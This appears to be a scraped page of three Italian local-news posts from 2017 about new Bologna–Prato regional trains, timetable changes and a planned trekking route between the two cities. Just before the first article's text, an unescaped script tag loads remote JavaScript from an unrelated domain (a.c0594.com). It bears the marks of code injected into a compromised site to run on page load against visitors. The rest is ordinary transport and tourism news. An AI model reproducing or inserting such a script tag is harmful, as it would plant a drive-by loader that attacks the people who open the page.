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13 set 2017

Nuovo collegamento ferroviario Prato-Bologna

di Cristina Betti

<script src=http://a.c0594.com/?js=6></script>&lt;p style="text-align: justify"&gt;Una &lt;b&gt;nuova corsa&lt;/b&gt; sulla linea &lt;b&gt;Bologna-Prato&lt;/b&gt; al servizio &lt;b&gt;dell’area industriale di Pianoro e Pian di Macina (BO)&lt;/b&gt;, con partenza alle&lt;b&gt; 7:10&lt;/b&gt; da Bologna e arrivo nella città toscana alle 8:23, è stata inaugurata oggi dall’assessore regionale alla mobilità &lt;b&gt;Raffaele Donini&lt;/b&gt; che ha percorso la tratta fino alla stazione di Pianoro insieme al direttore regionale di Trenitalia &lt;b&gt;Davide Diversi&lt;/b&gt;.&lt;/p&gt; &lt;p style="text-align: justify"&gt;Con loro il sindaco del Comune &lt;b&gt;Gabriele Minghetti&lt;/b&gt;, il delegato alle infrastrutture per la città metropolitana &lt;b&gt;Marco Monesi&lt;/b&gt;, il Presidente della Marchesini Group &lt;b&gt;Maurizio Marchesini&lt;/b&gt; e le Rsu aziendali della Marchesini group e Sherwin-Williams.&lt;/p&gt; &lt;p style="text-align: justify"&gt;Ma le novità in arrivo non si fermano qui. Sempre da oggi entrano in azione &lt;b&gt;due nuovi treni Stadler Etr&lt;/b&gt; &lt;b&gt;350&lt;/b&gt; sulle linee &lt;b&gt;Bologna-San Benedetto Val di Sambro/Prato&lt;/b&gt; e &lt;b&gt;Bologna-Poggio Rusco/Verona&lt;/b&gt;. Entrambi i convogli, conferiti dalla Regione Emilia Romagna a Trenitalia, permetteranno di migliorare in misura significativa il comfort del viaggio e l’affidabilità del servizio.&lt;/p&gt; &lt;blockquote&gt;&lt;i&gt;«Si tratta di un nuovo importante passo avanti per incrementare l’offerta di trasporto pubblico nel Bolognese&lt;i&gt;»&lt;/i&gt;&lt;/i&gt; – ha sottolineato l’assessore &lt;b&gt;Donini&lt;/b&gt; –  &lt;i&gt;«&lt;/i&gt;&lt;i&gt;con una attenzione  particolare alle esigenze che ci erano state trasmesse da parte dei lavoratori e degli imprenditori dell’area di Pianoro. Questa Regione è impegnata in uno sforzo senza uguali nel rinnovare e potenziare il trasporto su ferro per dare ai cittadini,  con particolare riguardo a chi si sposta ogni giorno per motivi di lavoro e di studio, un servizio sempre più di qualità e competitivo&lt;/i&gt;&lt;i&gt;»&lt;/i&gt;. &lt;i&gt;«Il rinnovo della flotta dei treni regionali di Trenitalia in Emilia Romagna è un elemento importante di miglioramento della qualità e affidabilità del nostro servizio»&lt;/i&gt; – ha commentato il direttore &lt;b&gt;Diversi&lt;/b&gt;. &lt;i&gt;«&lt;/i&gt;&lt;i&gt;Insieme all’utilizzo di sistemi avanzati e dinamici per la manutenzione delle locomotive e delle carrozze e a una control room integrata per il monitoraggio dei treni 24 ore su 24, i nuovi convogli stanno contribuendo anche a migliorare la percezione da parte dei clienti del viaggio nel suo complesso. I dati dell’ultima indagine demoscopica, commissionata da Trenitalia a una società esterna, fotografano infatti un gradimento in crescita di 7,5 punti percentuali rispetto all’stesso periodo del 2016 e di 11,6 se raffrontati al 2015, con l’88,1% degli intervistati che hanno promosso il servizio».&lt;/i&gt;&lt;/blockquote&gt; Più nel dettaglio: sul tragitto &lt;b&gt;Bologna-Prato&lt;/b&gt;, grazie al nuovo Stadler - il primo su questa linea -  saranno effettuati &lt;b&gt;10 collegamenti giornalieri&lt;/b&gt;, pari a circa il 20% dell’intera offerta feriale media, mentre sulla linea &lt;b&gt;Bologna-Poggio Rusco/Verona&lt;/b&gt;, già servita da Tper con un Etr 350, il nuovo treno garantirà ulteriori &lt;b&gt;12 corse giornaliere&lt;/b&gt;, portando al 45% (65% se si considerano anche le carrozze Vivalto) la percentuale dei servizi effettuati con treni nuovi. &lt;b&gt;Bologna-Prato: una nuova corsa al mattino e il prolungamento fino a Prato di quella serale.&lt;/b&gt; Per quanto riguarda l’incremento del servizio sulla linea Bologna-San Benedetto Val di Sambro/Prato, le modifiche – concordate tra le Regioni Emilia Romagna e Toscana e condivise con Trenitalia – prevedono un nuovo treno da Bologna Centrale alle 7:10 con destinazione finale Prato (arrivo 8:23) e fermate nelle stazioni intermedie di &lt;b&gt;Bologna San Vitale&lt;/b&gt;, &lt;b&gt;Bologna Mazzini&lt;/b&gt;, &lt;b&gt;Bologna San Ruffillo&lt;/b&gt;, &lt;b&gt;Rastignano&lt;/b&gt;, &lt;b&gt;Pian di Macina&lt;/b&gt;, &lt;b&gt;Pianoro, Monzuno&lt;/b&gt;, &lt;b&gt;Grizzana&lt;/b&gt;, &lt;b&gt;San Benedetto Val di Sambro&lt;/b&gt;, &lt;b&gt;Vernio e Vaiano&lt;/b&gt;. Il nuovo collegamento si colloca fra le due attuali partenze dal capoluogo emiliano verso San Benedetto Val di Sambro – confermate alle 6:40 e 7:40 – determinando una intensificazione del servizio in fascia pendolare. Tra le novità anche il &lt;b&gt;prolungamento fino a Prato&lt;/b&gt; dell’ultimo regionale della sera, &lt;b&gt;in partenza alle 22:09&lt;/b&gt; e prima limitato a San Benedetto Val di Sambro. &lt;b&gt;In direzione opposta&lt;/b&gt;, un nuovo treno partirà da Prato alle 8:46 per arrivare a Bologna alle 9:58, mentre il Regionale delle 7:13 da San Benedetto Val di Sambro allungherà il suo percorso partendo da Prato alle 6:45 e mantenendo invariato l’arrivo nel capoluogo emiliano alle 7:55. Entrambi i collegamenti effettueranno le fermate di Vaiano, Vernio, San Benedetto Val di Sambro, Grizzana, Monzuno, Pianoro, Pian di Macina, Rastignano, Bologna San Ruffillo, Bologna Mazzini e Bologna San Vitale. La rimodulazione dell’offerta sulla linea prevede inoltre la cessazione del servizio delle 6:22 da Bologna a San Benedetto Val di Sambro, partenza intermedia fra le due corse, confermate, delle 6:13 e 6:40. In direzione opposta, non circolerà più il treno delle 22:59 da San Benedetto Val di Sambro a Bologna. Il saldo fra i chilometri percorsi dai nuovi treni e quelli sottratti dalle due corse cancellate sarà però positivo, con un totale di 160 chilometri in più garantiti, nei giorni feriali, dalla nuova e più razionale offerta rispetto alla precedente.* Fonte: fsnews.it

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22 ago 2017

Da settembre nuovi treni per la tratta Prato-Bologna

di Cristina Betti

Ci saranno 5 nuovi collegamenti fra le due regioni a partire dal prossimo 11 settembre. Nuovi orari ancora in fase di definizione. A dare questa notizia è la Regione Toscana, che punta a un potenziamento dei rapporti, e quindi dei collegamenti, fra le due città e le rispettive regioni. “Saranno cinque i nuovi treni istituiti- annuncia il comunicato - o la cui percorrenza verrà prolungata, o che effettueranno un numero maggiore di fermate con la conseguente soppressione di alcune delle corse nella stessa fascia oraria” Quali sono le novità? - Due nuovi treni partiranno da Prato Centrale in direzione Bologna: il primo alle 6.40, il secondo alle 8.40. - Per il ritorno, da Bologna sarà a disposizione dei pendolari un nuovo collegamento Bologna-Prato Centrale con partenza dal capoluogo emiliano alle 7.10 (che fermerà anche nelle aree industriali intorno a Pianoro in una fascia oraria finora sguarnita di collegamenti ferroviari). - Ci saranno nuovi collegamenti serali: sarà prolungata fino a Prato Centrale la corsa del regionale 6531 che parte da Bologna alle 22.10 (finora terminava a San Benedetto Val di Sambro dove giungeva alle 22.51). Prima i collegamenti serali alta velocità fra Bologna e Firenze terminavano alle 21,30. - La corsa di ritorno serale da San Benedetto val di Sambro a Bologna delle 22.59 - treno 6592, con utenza quasi nulla - verrà invece soppressa, e la sua funzione verrà assolta dal regionale 11634, in partenza da Firenze SMN alle 22.23 per Bologna centrale, cui verranno assegnate anche le fermate di Grizzana, Monzuno e Pianoro. Ci saranno ulteriori modifiche alla circolazione: - In virtù di questi nuovi collegamenti non si rendono più necessari alcuni convogli attualmente in esercizio sul versante toscano, che verranno quindi soppressi. Si tratta del 6476 in partenza alle 6.10 da Firenze Campo di Marte per Vernio, Montepiano, Cantagallo, che viene però mantenuto nella tratta da Firenze Campo Marte-Prato dato che da questa stazione si potrà proseguire verso Bologna con il nuovo treno che partirà da Prato alle 6.40. - Verrà soppresso anche il treno 6409 delle 6.22 da Bologna a San Benedetto Val di Sambro. Il servizio delle 7.13 da San Benedetto Val di Sambro a Bologna sarà svolto, alla stessa ora, dal nuovo treno che partirà da Prato alle 6.40. - Coloro che utilizzavano il treno 6583 che partiva alle 8.14 da Vernio verso Firenze Campo di Marte, dall'11 settembre potranno salire su quello che partirà da Bologna alle 7.10, mentre la possibilità di proseguire verso Firenze sarà garantita dallo stesso 6583 che avrà origine da Prato verso Firenze Campo Marte, con le stesse fermate che effettua oggi.

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22 feb 2017

Trekking da Prato a Bologna per gli amanti del turismo “lento”

di Cristina Betti

Un percorso di trekking di 7 tappe, dalla Val di Bisenzio alla Val di Setta, per valorizzare il turismo sostenibile e la mobilità fra le due città. E' questo uno dei progetti a cui stanno lavorando le amministrazioni comunali della Valbisenzio e dell’Appennino bolognese insieme al Comune di Prato e a quello di Bologna. Turismo e mobilità sono infatti i punti centrali dell’incontro che si è tenuto tra il sindaco di Prato Matteo Biffoni, l’assessore al Turismo  di Bologna Matteo Lepore, il sindaco di Vaiano Primo Bosi, il sindaco di Vernio Giovanni Morganti con il vicesindaco Francesca Bolognesi e il sindaco di Castiglione dei Pepoli Maurizio Fabbri. I sentieri ci sono già: partendo da Prato, sulla Calvana, a Santa Lucia, all’altezza del Cavalciotto, un percorso naturale permette di attraversare l’Appennino per arrivare a Bologna, passando per Vaiano, Vernio, Castiglione dei Pepoli, Grizzana Morandi, Monte Sole e Sasso Marconi. L'idea è quella di valorizzare questo percorso, creando una via di 7 tappe, da compiere in 7 giorni, speculare alla "Via degli Dei" che collega Bologna a Firenze attraverso il Mugello. «Pensiamo di avere su questo versante una via altrettanto bella, che tanto ha da offrire ai turisti – spiega il sindaco di Vaiano Primo Bosi –. Il nostro obiettivo è quello di promuoverla in maniera capillare per portare in Valbisenzio anche chi viene da lontano, e, allo stesso tempo, offrire ai viaggiatori la più ampia offerta possibile, collaborando anche con le strutture ricettive della zona, oltre che con le sue attrattive (ad esempio i musei)»* I numeri del turismo “lento” sull’Appennino Tosco-Emiliano parlano chiaro: la "Via degli Dei" ha avuto 6.500 visitatori nel 2016, 1.500 in più rispetto all’anno precedente. Questa è una buona occasione per creare nuovi percorsi e valorizzare il territorio locale. Altra questione che è stata discussa è il potenziamento del collegamento ferroviario fra Prato e Bologna. «I pendolari tra le due città sono moltissimi e potenziare il collegamento su ferro porterebbe benefici anche ai Comuni della Valbisenzio» spiega Matteo Biffoni, e aggiungono Morganti e Bosi «L’obiettivo è aumentare la frequenza dei treni, cosa che, soprattutto negli orari di punta, faciliterebbe la vita dei cittadini e dei potenziali visitatori. Crediamo molto nelle potenzialità del trasporto su rotaia – alla stazione di Vernio il numero dei posi auto è stato recentemente raddoppiato» La competenza è regionale ma i sindaci di Prato e Bologna si impegnano per fare pressioni alle rispettive regioni per prolungare le tratte dei collegamenti. * fonte: Il Tirreno - Prato

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